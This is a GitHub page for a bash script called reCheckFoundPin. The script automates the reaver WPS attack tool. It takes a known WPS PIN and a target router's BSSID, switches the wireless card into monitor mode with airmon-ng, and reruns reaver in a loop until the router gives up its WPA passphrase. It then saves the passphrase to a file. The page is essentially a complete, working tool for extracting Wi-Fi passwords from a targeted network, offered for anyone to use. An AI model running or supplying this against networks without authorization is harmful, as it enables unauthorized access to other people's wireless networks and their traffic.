-
Notifications
You must be signed in to change notification settings - Fork 19
/
reCheckFoundPin
executable file
·74 lines (65 loc) · 1.93 KB
/
reCheckFoundPin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/bash
# following script was created to deal with situation when only PIN is printed, but not WPA PSK
# so script searches WPA PSK until reaver spits it out, using while loop
# perl checks wheter PSK is printed, if so, exit is called.
if [ -z "$1" ] || [ -z "$2" ]; then
echo "There's common situation that reaver finds pin, but without passphrase";
echo "Following script has been written to find passphrase - in case you know the pin";
echo "So for this purpose I wrote following script - you can use it if you have the same problem";
echo "Usage ( [obligatory parameter], [[optional parameter]] ):";
echo "$0 [PIN] [BSSID] [[CHANNEL]]";
echo "Example usage:"
echo "$0 12345679 AA:BB:CC:DD:EE:FF";
exit;
fi
clearBssid(){
echo $1 | sed s/://g;
}
getMonitorName(){
ifconfig | perl -lane '{ if(/^[^\s]*mon/){ $_ =~ s/\s+.*//; print $_; } }'
}
TMP_FILE="/tmp/reCheckFoundPinTMP";
TMP_ACTIVITY_FILE="/tmp/reCheckFoundPinACTIVITY";
CUR_DIR=$(pwd);
PIN=$1;
BSSID=$2;
BSSID_CLEAR=$(clearBssid $BSSID);
CHANNEL_CMD="";
WRITE_FOUND_PASS_TO=$CUR_DIR'/'$BSSID_CLEAR'_FOUND_PASSWORD.txt';
MONITOR_NAME=$(getMonitorName);
if [[ -z "$(ifconfig | grep $MONITOR_NAME)" ]]; then
airmon-ng start wlan0;
fi
if [[ -n "$3" ]]; then
CHANNEL_CMD="--channel=$3 ";
fi
if [[ -f $TMP_FILE ]]; then
rm $TMP_FILE;
fi
touch $TMP_ACTIVITY_FILE;
while true; do
if [[ -f $TMP_FILE ]]; then
rm $TMP_FILE;
exit;
fi
sleep 2;
COMMAND="reaver -p $PIN -i $MONITOR_NAME -b $BSSID -vv -t 20 -g 1 -S -N $CHANNEL_CMD";
echo $COMMAND;
eval $COMMAND | perl -lane '
if (/Received M3/){
print $_;
system("touch '$TMP_ACTIVITY_FILE'");
}
elsif (/WPA PSK/){
print $_;
open (F, ">>'$WRITE_FOUND_PASS_TO'");
print F $_;
close (F);
system("touch '$TMP_FILE'");
}
else {
print $_;
system("if [[ \"$('$CUR_DIR'/checkFileTouchTimeout.sh '$TMP_ACTIVITY_FILE' 60)\" == \"1\" ]]; then killall reaver; fi;");
}
';
done